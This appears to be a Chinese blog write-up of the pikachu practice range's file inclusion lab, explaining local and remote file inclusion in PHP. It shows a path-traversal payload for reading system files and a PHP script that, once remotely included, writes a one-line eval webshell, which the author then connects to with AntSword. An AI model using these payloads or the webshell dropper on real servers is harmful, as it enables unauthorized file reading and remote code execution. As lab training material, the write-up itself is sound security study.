当前位置: 首页 > news >正文

pikachu靶场-File Inclusion

介绍:

File Inclusion(文件包含漏洞)概述

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

1. 本地文件包含:

这里随便选一个参数,点击执行,在 url 这里发现 ?filename 这里是传入了一个本地文件。

我们就可以读取服务器上的本地文件。例如Windows上的 win.ini 文件,linux上的 /etc/passwd 文件等等。

这里发现不能用绝对路径,我们用相对路径成功读取系统文件。

C:/../../../../Windows\win.ini

2. 远程文件包含

同样的原理,这里也是在 ?filename= 后边接上文件名进行传参。

接上 http://www.baidu.com 发现直接变成了 百度的页面,,笑死。

我们开启一个http服务,目录下放个生成一句话木马的php脚本,再写上url试试。

<?php
$myfile = fopen("shell.php", "w");
$txt = '<?php @eval($_POST[kitha]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>

访问后页面并没有变化,但再对应已经生成的木马文件。

蚁剑成功连接。

相关文章:

  • C语言--贪吃蛇
  • [LWC] Components Communication
  • 2023 最新 IntelliJ IDEA 2023.3 详细配置步骤演示(图文版)<中文版>
  • 数字签名在游戏里的应用
  • 如何实现多账户管理?海外代理IP推荐
  • 【2024.02.22】定时执行专家 V7.0 发布 - TimingExecutor V7.0 Release - 龙年春节重大更新版本
  • 多维时序 | Matlab实现基于VMD-DBO-GRU、VMD-GRU、GRU的多变量时间序列预测
  • 【PostgreSQL】PostgreSQL详细介绍
  • 怎么才能快速准确地全面地了解一个陌生的行业?
  • matlab经验模式分解的R波检测算法
  • 图像压缩感知的MATLAB实现(OMP)
  • 外包干了3个月,技术倒退1年。。。
  • 操作系统——处理机调度
  • 如何实现一个K8S DevicePlugin?
  • 韩国服务器托管的性能及成本情况
  • [Vue CLI 3] 配置解析之 css.extract
  • 07.Android之多媒体问题
  • Android单元测试 - 几个重要问题
  • Angular 2 DI - IoC DI - 1
  • docker容器内的网络抓包
  • Fundebug计费标准解释:事件数是如何定义的?
  • HashMap剖析之内部结构
  • HTTP那些事
  • JAVA SE 6 GC调优笔记
  • Java 最常见的 200+ 面试题:面试必备
  • JavaScript工作原理(五):深入了解WebSockets,HTTP/2和SSE,以及如何选择
  • js 实现textarea输入字数提示
  • macOS 中 shell 创建文件夹及文件并 VS Code 打开
  • MaxCompute访问TableStore(OTS) 数据
  • PhantomJS 安装
  • Spark in action on Kubernetes - Playground搭建与架构浅析
  • Spring框架之我见(三)——IOC、AOP
  • vue:响应原理
  • vue+element后台管理系统,从后端获取路由表,并正常渲染
  • webpack4 一点通
  • zookeeper系列(七)实战分布式命名服务
  • 从重复到重用
  • 力扣(LeetCode)21
  • 如何合理的规划jvm性能调优
  • 使用API自动生成工具优化前端工作流
  • 通过npm或yarn自动生成vue组件
  • zabbix3.2监控linux磁盘IO
  • 阿里云ACE认证之理解CDN技术
  • ​secrets --- 生成管理密码的安全随机数​
  • #LLM入门|Prompt#3.3_存储_Memory
  • (1)虚拟机的安装与使用,linux系统安装
  • (3)(3.2) MAVLink2数据包签名(安全)
  • (Matlab)遗传算法优化的BP神经网络实现回归预测
  • (ZT)北大教授朱青生给学生的一封信:大学,更是一个科学的保证
  • (编程语言界的丐帮 C#).NET MD5 HASH 哈希 加密 与JAVA 互通
  • (附源码)ssm高校实验室 毕业设计 800008
  • (简单有案例)前端实现主题切换、动态换肤的两种简单方式
  • (力扣题库)跳跃游戏II(c++)
  • (每日持续更新)jdk api之FileFilter基础、应用、实战
  • (转)Android学习系列(31)--App自动化之使用Ant编译项目多渠道打包